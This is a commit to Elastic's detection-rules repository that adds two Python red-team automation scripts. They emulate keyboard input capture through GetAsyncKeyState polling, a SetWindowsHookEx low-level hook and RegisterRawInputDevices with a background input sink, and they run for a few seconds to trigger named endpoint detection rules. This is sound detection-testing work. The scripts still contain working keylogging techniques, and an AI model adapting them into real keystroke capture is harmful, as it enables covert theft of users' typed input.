[New RTA] Input Capture via Keylog (#3033)
* [New RTA] Input Capture via Keylog
APIs in scope covered by 2 seperate RTAs :
SetWindowsHookEx (collection_keylog_hook_keystate)
GetAsyncKeyState (collection_keylog_hook_keystate)
RegisterRawInputDevices (collection_keylog_rawinputdevice)
* Update rta/collection_keylog_hook_keystate.py
Co-authored-by: Mika Ayenson <Mikaayenson@users.noreply.github.com>
* Update rta/collection_keylog_rawinputdevice.py
Co-authored-by: Mika Ayenson <Mikaayenson@users.noreply.github.com>
---------
Co-authored-by: Mika Ayenson <Mikaayenson@users.noreply.github.com>
Co-authored-by: shashank-elastic <91139415+shashank-elastic@users.noreply.github.com>
(cherry picked from commit ec609d826a)
This commit is contained in:
committed by
github-actions[bot]
parent
0295db4b6b
commit
cfb386285d
@@ -0,0 +1,89 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import time, sys
|
||||
|
||||
WH_KEYBOARD_LL = 13
|
||||
WM_KEYDOWN = 0x0100
|
||||
HC_ACTION = 0
|
||||
hHook = None
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="19b7c8db-0279-41fe-b07d-481818185a10",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{"rule_name": "Suspicious Input Capture via GetAsyncKeyState API", "rule_id": "2ed0570d-3fa4-45b1-b4f2-d7fcc827daf1"},
|
||||
{"rule_name": "GetAsyncKeyState API Call from Suspicious Process", "rule_id": "be7140ba-4633-46a7-ac59-91cc85e5e252"},
|
||||
{"rule_name": "keystroke Messages Hooking via SetWindowsHookEx", "rule_id": "7ae180e1-e08f-40c2-82db-f274f688eea2"},
|
||||
{"rule_name": "Keystrokes Input Capture from Suspicious CallStack", "rule_id": "6ef43c9a-25af-449c-8416-20349780a146"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1056", "T1056.001"],
|
||||
)
|
||||
|
||||
|
||||
def GetAsyncKeyState():
|
||||
from ctypes import windll
|
||||
|
||||
user32 = windll.user32
|
||||
|
||||
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift",
|
||||
0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space",
|
||||
0x2e: "Del"}
|
||||
|
||||
# reset key states
|
||||
for i in range(256):
|
||||
user32.GetAsyncKeyState(i)
|
||||
|
||||
start = time.time()
|
||||
while time.time() - start < 5:
|
||||
for i in range(256):
|
||||
if user32.GetAsyncKeyState(i) & 1:
|
||||
if i in special_keys:
|
||||
print("<{}>".format(special_keys[i]))
|
||||
elif 0x30 <= i <= 0x5a:
|
||||
print("{:c}".format(i))
|
||||
else:
|
||||
print("{:02x}".format(i))
|
||||
time.sleep(0.01)
|
||||
sys.stdout.flush()
|
||||
|
||||
def hook_procedure(code, w_param, l_paraml):
|
||||
import ctypes
|
||||
global hHook
|
||||
user32 = ctypes.windll.user32
|
||||
|
||||
if code == HC_ACTION and w_param == WM_KEYDOWN:
|
||||
print("Key down")
|
||||
|
||||
return user32.CallNextHookEx(hHook, code, w_param, l_paraml)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def SetWindowsHookEx():
|
||||
import ctypes
|
||||
from ctypes.wintypes import LPARAM, WPARAM
|
||||
global hHook
|
||||
user32 = ctypes.windll.user32
|
||||
hookproc = ctypes.WINFUNCTYPE(ctypes.HRESULT, ctypes.c_int, WPARAM, LPARAM)
|
||||
proc = hookproc(hook_procedure)
|
||||
hHook = user32.SetWindowsHookExA(WH_KEYBOARD_LL, proc, 0, 0)
|
||||
|
||||
start = time.time()
|
||||
while True:
|
||||
user32.PeekMessageA(0, 0, 0, 0, 0)
|
||||
time.sleep(.01)
|
||||
if time.time() >= (start + 5):
|
||||
print("Finished")
|
||||
break
|
||||
|
||||
def main():
|
||||
SetWindowsHookEx()
|
||||
GetAsyncKeyState()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,275 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
# Adjusted version of https://github.com/XRoemer/Organon/blob/master/source/py/rawinputdata.py
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import time, sys
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="89f2b412-bbc7-4298-8768-2f3d3b43c93b",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{"rule_name": "Keystroke Input Capture via DirectInput", "rule_id": "102b5c1a-7f2a-4254-8b26-6b299705fce7"},
|
||||
{"rule_name": "Keystroke Input Capture via RegisterRawInputDevices", "rule_id": "4dbb9dfb-b3e2-49d7-8919-d6f221526df4"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1056", "T1056.001"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
from ctypes import c_long, c_int, c_uint, c_ushort, Structure, Union
|
||||
from ctypes import WINFUNCTYPE, windll, byref, sizeof, pointer, WinError
|
||||
from ctypes.wintypes import DWORD, HWND, HANDLE, WPARAM, ULONG, LONG, UINT
|
||||
from ctypes.wintypes import BYTE, LPCSTR, HINSTANCE, LPVOID
|
||||
|
||||
wndproc = WINFUNCTYPE(c_long, c_int, c_uint, c_int, c_int)
|
||||
|
||||
class WNDCLASS(Structure):
|
||||
_fields_ = [('style', c_uint),
|
||||
('lpfnWndProc', wndproc),
|
||||
('cbClsExtra', c_int),
|
||||
('cbWndExtra', c_int),
|
||||
('hInstance', HINSTANCE),
|
||||
('hIcon', HANDLE),
|
||||
('hCursor', HANDLE),
|
||||
('hbrBackground', HANDLE),
|
||||
('lpszMenuName', LPCSTR),
|
||||
('lpszClassName', LPCSTR)]
|
||||
|
||||
class POINT(Structure):
|
||||
_fields_ = [('x', c_long),
|
||||
('y', c_long)]
|
||||
|
||||
class MSG(Structure):
|
||||
_fields_ = [('hwnd', c_int),
|
||||
('message', c_uint),
|
||||
('wparam', c_int),
|
||||
('lparam', c_int),
|
||||
('time', c_int),
|
||||
('pt', POINT)]
|
||||
|
||||
class RAWINPUTDEVICE(Structure):
|
||||
_fields_ = [
|
||||
("usUsagePage", c_ushort),
|
||||
("usUsage", c_ushort),
|
||||
("dwFlags", DWORD),
|
||||
("hwndTarget", HWND),
|
||||
]
|
||||
|
||||
class RAWINPUTHEADER(Structure):
|
||||
_fields_ = [
|
||||
("dwType", DWORD),
|
||||
("dw_size", DWORD),
|
||||
("hDevice", HANDLE),
|
||||
("wparam", WPARAM),
|
||||
]
|
||||
|
||||
class RAWMOUSE(Structure):
|
||||
class _U1(Union):
|
||||
class _S2(Structure):
|
||||
_fields_ = [
|
||||
("usButtonFlags", c_ushort),
|
||||
("usButtonData", c_ushort),
|
||||
]
|
||||
_fields_ = [
|
||||
("ulButtons", ULONG),
|
||||
("_s2", _S2),
|
||||
]
|
||||
|
||||
_fields_ = [
|
||||
("usFlags", c_ushort),
|
||||
("_u1", _U1),
|
||||
("ulRawButtons", ULONG),
|
||||
("lLastX", LONG),
|
||||
("lLastY", LONG),
|
||||
("ulExtraInformation", ULONG),
|
||||
]
|
||||
_anonymous_ = ("_u1", )
|
||||
|
||||
class RAWKEYBOARD(Structure):
|
||||
_fields_ = [
|
||||
("MakeCode", c_ushort),
|
||||
("Flags", c_ushort),
|
||||
("Reserved", c_ushort),
|
||||
("VKey", c_ushort),
|
||||
("Message", UINT),
|
||||
("ExtraInformation", ULONG),
|
||||
]
|
||||
|
||||
class RAWHID(Structure):
|
||||
_fields_ = [
|
||||
("dw_sizeHid", DWORD),
|
||||
("dwCount", DWORD),
|
||||
("bRawData", BYTE),
|
||||
]
|
||||
|
||||
class RAWINPUT(Structure):
|
||||
class _U1(Union):
|
||||
_fields_ = [
|
||||
("mouse", RAWMOUSE),
|
||||
("keyboard", RAWKEYBOARD),
|
||||
("hid", RAWHID),
|
||||
]
|
||||
|
||||
_fields_ = [
|
||||
("header", RAWINPUTHEADER),
|
||||
("_u1", _U1),
|
||||
("hDevice", HANDLE),
|
||||
("wparam", WPARAM),
|
||||
]
|
||||
_anonymous_ = ("_u1", )
|
||||
|
||||
class RawInputReader():
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def start(self):
|
||||
|
||||
ws_overlapped_window = (0 | 12582912 | 524288 | 262144 | 131072 | 65536)
|
||||
cw_use_default = -2147483648
|
||||
|
||||
try:
|
||||
createwindowex = windll.user32.CreateWindowExA
|
||||
createwindowex.argtypes = [DWORD, LPCSTR, LPCSTR, DWORD,
|
||||
c_int, c_int, c_int, c_int, HANDLE,
|
||||
HANDLE, HANDLE, LPVOID]
|
||||
createwindowex.restype = HANDLE
|
||||
wndclass = self.get_window()
|
||||
# Create Window
|
||||
hwnd = createwindowex(0,
|
||||
wndclass.lpszClassName,
|
||||
b"Python Window",
|
||||
ws_overlapped_window,
|
||||
cw_use_default,
|
||||
cw_use_default,
|
||||
cw_use_default,
|
||||
cw_use_default,
|
||||
0,
|
||||
0,
|
||||
wndclass.hInstance,
|
||||
0)
|
||||
|
||||
if (hwnd == 0):
|
||||
print(WinError())
|
||||
# Register for raw input
|
||||
raw_input_device = (2 * RAWINPUTDEVICE)()
|
||||
self.Rid = raw_input_device
|
||||
raw_input_device[0].usUsagePage = 0x01
|
||||
raw_input_device[0].usUsage = 0x06
|
||||
ridev_input_sink = 0x00000100 # Get events even when not focused
|
||||
raw_input_device[0].dwFlags = ridev_input_sink
|
||||
raw_input_device[0].hwndTarget = hwnd
|
||||
raw_input_device[1].usUsagePage = 0x01
|
||||
raw_input_device[1].usUsage = 0x02
|
||||
raw_input_device[1].dwFlags = ridev_input_sink
|
||||
raw_input_device[1].hwnTarget = hwnd
|
||||
|
||||
registerrawinputdevices = windll.user32.RegisterRawInputDevices
|
||||
registerrawinputdevices(raw_input_device, 2, sizeof(RAWINPUTDEVICE))
|
||||
self.hwnd = hwnd
|
||||
|
||||
except Exception as e:
|
||||
print("error starting")
|
||||
print(e)
|
||||
|
||||
def get_window(self):
|
||||
|
||||
cs_vredraw = 1
|
||||
cs_hredraw = 2
|
||||
idi_application = 32512
|
||||
idc_arrow = 32512
|
||||
white_brush = 0
|
||||
|
||||
# Define Window Class
|
||||
wndclass = WNDCLASS()
|
||||
self.wndclass = wndclass
|
||||
wndclass.style = cs_hredraw | cs_vredraw
|
||||
wndclass.lpfnWndProc = wndproc(lambda h, m, w, l: self.wndproc(h, m, w, l))
|
||||
wndclass.cbClsExtra = wndclass.cbWndExtra = 0
|
||||
wndclass.hInstance = windll.kernel32.GetModuleHandleA(c_int(0))
|
||||
wndclass.hIcon = windll.user32.LoadIconA(c_int(0), c_int(idi_application))
|
||||
wndclass.hCursor = windll.user32.LoadCursorA(c_int(0), c_int(idc_arrow))
|
||||
wndclass.hbrBackground = windll.gdi32.GetStockObject(c_int(white_brush))
|
||||
wndclass.lpszMenuName = None
|
||||
wndclass.lpszClassName = b"MainWin"
|
||||
|
||||
if not windll.user32.RegisterClassA(byref(wndclass)):
|
||||
print("error in RegisterClassA")
|
||||
raise WinError()
|
||||
|
||||
return wndclass
|
||||
|
||||
def poll_events(self):
|
||||
|
||||
# Pump Messages
|
||||
msg = MSG()
|
||||
pmsg = pointer(msg)
|
||||
|
||||
pm_remove = 1
|
||||
|
||||
while windll.user32.PeekMessageA(pmsg, self.hwnd, 0, 0, pm_remove) != 0:
|
||||
windll.user32.DispatchMessageA(pmsg)
|
||||
|
||||
def __del__(self):
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
|
||||
self.Rid[0].dwFlags = 0x00000001
|
||||
windll.user32.DestroyWindow(self.hwnd)
|
||||
|
||||
def wndproc(self, hwnd, message, wparam, lparam):
|
||||
|
||||
try:
|
||||
wm_input = 255
|
||||
ri_mouse_wheel = 0x0400
|
||||
wm_destroy = 2
|
||||
|
||||
if message == wm_destroy:
|
||||
windll.user32.PostQuitMessage(0)
|
||||
return 0
|
||||
|
||||
elif message == wm_input:
|
||||
get_raw_input_data = windll.user32.get_raw_input_data
|
||||
null = c_int(0)
|
||||
dw_size = c_uint()
|
||||
rid_input = 0x10000003
|
||||
get_raw_input_data(lparam, rid_input, null, byref(dw_size), sizeof(RAWINPUTHEADER))
|
||||
|
||||
if dw_size.value == 40:
|
||||
# Mouse
|
||||
raw = RAWINPUT()
|
||||
|
||||
if get_raw_input_data(lparam,
|
||||
rid_input,
|
||||
byref(raw),
|
||||
byref(dw_size),
|
||||
sizeof(RAWINPUTHEADER)) == dw_size.value:
|
||||
rim_typemouse = 0x00000000
|
||||
|
||||
if raw.header.dwType == rim_typemouse:
|
||||
|
||||
if raw.mouse._u1._s2.usButtonFlags != ri_mouse_wheel:
|
||||
return 0
|
||||
|
||||
return windll.user32.DefWindowProcA(c_int(hwnd), c_int(message), c_int(wparam), c_int(lparam))
|
||||
|
||||
except Exception as e:
|
||||
print("general exception in wndproc")
|
||||
print(e)
|
||||
|
||||
rir = RawInputReader()
|
||||
rir.start()
|
||||
time.sleep(5)
|
||||
rir.stop()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
Reference in New Issue
Block a user